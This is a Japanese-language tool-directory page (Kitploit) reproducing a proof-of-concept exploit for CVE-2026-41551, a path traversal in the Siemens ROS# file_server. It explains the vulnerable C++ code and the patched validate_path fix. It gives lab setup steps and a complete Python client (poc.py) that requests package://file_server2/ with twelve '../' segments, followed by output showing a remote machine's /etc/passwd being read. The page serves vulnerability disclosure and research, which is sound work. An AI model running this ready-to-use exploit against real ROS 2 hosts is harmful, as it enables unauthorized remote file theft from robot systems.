Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-41551 — # CVE-2026-41551 の概念実証エクスプロイト Siemens ROS# file_server におけるパストラバーサル脆弱性(CVE-2026-41551)の概念実証エクスプロイトです。細工した `package://` リクエストによるリモートファイル読み取りを実証します。 | Kitploit
ツール/GitHubGitHub/selecthch/cve-2026-41551
偵察脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHubselecthch/cve-2026-41551

CVE-2026-41551

# CVE-2026-41551 の概念実証エクスプロイト Siemens ROS# file_server におけるパストラバーサル脆弱性(CVE-2026-41551)の概念実証エクスプロイトです。細工した `package://` リクエストによるリモートファイル読み取りを実証します。

リポジトリを見る
12日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-41551 再現

脆弱性:Siemens ROS# file_server / file_server2 サービスの相対パストラバーサル CVSS v3.1:9.1(AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:N) 影響バージョン:ros-sharp の V2.2.2 未満のすべて;修正バージョン:V2.2.2(validate_path を追加) 結論:この脆弱性はホストをまたいで悪用可能であり、ローカルでのみ再現できるわけではない。以下は「攻撃者 153 → 被害者 152」のリモート再現手順である。


0. 脆弱性の原理(ros-sharp 2.2.1, file_server.cpp)

get_file_callback はリクエストパスをそのままパッケージ共有ディレクトリに連結し、トラバーサルチェックを行っていない:

root@kitploit:~
std::string address   = request->name.substr(10);          // "package://" を除去
std::string package   = address.substr(0, address.find("/"));
std::string filepath  = address.substr(package.length());
std::string directory = ament_index_cpp::get_package_share_directory(package);
directory += filepath;                                    // ユーザー制御可能、"../" を含む
std::ifstream inputfile(directory.c_str(), std::ios::binary);  // トラバーサルで任意ファイルを読み取り

PoC リクエスト package://file_server2/<../×12>etc/passwd により、パッケージ share ディレクトリからルートへ抜け出し、被害者マシンのファイルを読み取る。

修正コード(ros-sharp 2.2.2)

validate_path を追加:まずパストラバーサルチェックを行い、次に拡張子ホワイトリストを適用し、最後に std::filesystem::canonical でパッケージディレクトリ外へ逃げていないことを確認する;save_file はデフォルトで無効。

root@kitploit:~
bool has_traversal(const std::string& path) {           // ".." と "." を禁止
  for (const auto& part : std::filesystem::path(path))
    if (part == ".." || part == ".") return true;
  return false;
}
bool is_path_safe(const std::string& base_dir, const std::string& full_path) {
  auto base   = std::filesystem::canonical(base_dir);
  auto target = std::filesystem::weakly_canonical(full_path);
  auto [end, _] = std::mismatch(base.begin(), base.end(), target.begin());
  return end == base.end();                            // パッケージディレクトリ内に留まる必要がある
}
bool validate_path(...) {
  if (has_traversal(filepath))   { warn("Path traversal attempt blocked"); return false; }

1. 環境情報

ネットワークトポロジ(同一 ROS_DOMAIN_ID、DDS クロスホストディスカバリ):

root@kitploit:~
攻撃者 192.168.171.153                        被害者 192.168.171.152
+---------------------------+                +---------------------------+
| ros2_humble + client      |  (1) get_file  | file_server ノード        |
| python3 poc.py            | -------------> | /file_server/get_file     |
|                           |                | 本機の /etc/passwd を読み取り |
|                           | <-------------  | (2) ファイル内容 2930 bytes を返却 |
+---------------------------+                +---------------------------+
             ROS2 DDS (UDP 7400-7500 / マルチキャスト 239.255.0.x), ROS_DOMAIN_ID=0

2. 前提条件(再起動後はデフォルトで満たされる)

  • 両ホストに ROS2 Humble(/opt/ros/humble)と colcon がインストール済みであること。
  • 脆弱性ソースパッケージが ~/ros2_ws/src/file_server2 に配置済みであること(ros-sharp 2.2.1、全 13 ファイル)。
  • 重要:被害者ノードの起動時に ROS_LOCALHOST_ONLY=1 を設定しないこと。設定するとループバックのみアクセス可能となり、リモート再現ができない。

3. 再現手順

3.1 被害者側(192.168.171.152):ノードをコンパイルして起動、ネットワーク待受

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# 脆弱性パッケージをコンパイル(コンパイル済みなら省略可、再コンパイルしても無害)
colcon build --packages-select file_server2

# ノードを起動(再起動時は安全:まず古いプロセスをクリーンアップしてから起動)
# ~/start_fs.sh の内容は付録 A を参照
bash ~/start_fs.sh
sleep 2

ros2 node list            # 本機の /file_server が表示されるはず

3.2 攻撃者側(192.168.171.153):client パッケージをコンパイルして srv 型を取得

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# 同様に file_server2 パッケージが必要。クライアントが GetBinaryFile 型をインポートするため
colcon build --packages-select file_server2

3.3 攻撃者側:クロスホストで被害者サービスを発見

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
sleep 2

ros2 node list                 # クロスホストの /file_server(152 上)を発見できるはず
ros2 service list | grep file_server
# 表示されるはず:/file_server/get_file

3.4 攻撃者側:PoC を実行して被害者の /etc/passwd をリモート読み取り

root@kitploit:~
python3 ~/poc.py

4. 再現結果

root@kitploit:~
[*] Requesting: package://file_server2/../../../../../../../../../../../../etc/passwd
[*] Returned 2930 bytes
----- /etc/passwd (begin) -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
----- end -----

攻撃者は 153 で【被害者 152 の本機】の /etc/passwd の読み取りに成功した。


付録 A:~/start_fs.sh

root@kitploit:~
#!/bin/bash
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# プロセス名はカーネルにより file_server2_no に切り詰められるため、コマンドラインで正確に古いインスタンスをクリーンアップ
MYSELF=$$
for p in $(ps -eo pid,args | grep "file_server2_node" | grep -v grep | awk '{print $1}'); do
  [ "$p" != "$MYSELF" ] && kill -9 "$p" 2>/dev/null
done
sleep 1
# 重要:ROS_LOCALHOST_ONLY を設定しないこと。設定するとループバックのみアクセス可能になる
setsid bash -c "ros2 run file_server2 file_server2_node > ~/file_server.log 2>&1" >/dev/null 2>&1 </dev/null &
disown
sleep 2
echo "node started: $(pgrep -af file_server2_node | head -1)"

付録 B:~/poc.py

root@kitploit:~
import rclpy
from rclpy.node import Node
from file_server2.srv import GetBinaryFile

class Client(Node):
    def __init__(self):
        super().__init__('poc_client')
        self.cli = self.create_client(GetBinaryFile, '/file_server/get_file')
        while not self.cli.wait_for_service(timeout_sec=5.0):
            self.get_logger().info('waiting for service...')

    def call(self, name):
        req = GetBinaryFile.Request()
        req.name = name
        fut = self.cli.call_async(req)
        rclpy.spin_until_future_complete(self, fut)
        return fut.result()

def main():
    rclpy.init()
    c = Client()
    # 12 個の "../" でパッケージ share ディレクトリからルートへ抜け出し、etc/passwd にアクセスできる
    target = "package://file_server2/" + ("../" * 12) + "etc/passwd"
    print(f"[*] Requesting: {target}")
    res = c.call(target)
    data = bytes(res.value) if res is not None else b''
    print(f"[*] Returned {len(data)} bytes")
    print("----- /etc/passwd (begin) -----")
    print(data[:400].decode(errors='replace'))
    print("----- end -----")
    c.destroy_node()
    rclpy.shutdown()

if __name__ == '__main__':
    main()

参考資料

  • Siemens Security Advisory SSA-357982(ROS# file_server ディレクトリトラバーサル)
  • NVD CVE-2026-41551
  • ros-sharp GitHub Releases:V2.2.1(影響あり)/ V2.2.2(修正済み)
  • CWE-23:Relative Path Traversal;ROS 2 ドキュメント:ROS_DOMAIN_ID / ROS_LOCALHOST_ONLY / DDS ディスカバリ
ツールをダウンロード
役割
ホスト IP
システム
ROS
説明
被害者192.168.171.152Ubuntu 22.04Humblefile_server ノードを実行、読み取られるファイルは本機に存在
攻撃者192.168.171.153Ubuntu 22.04Humble同一セグメント、被害者サービスへの PoC 呼び出しを実行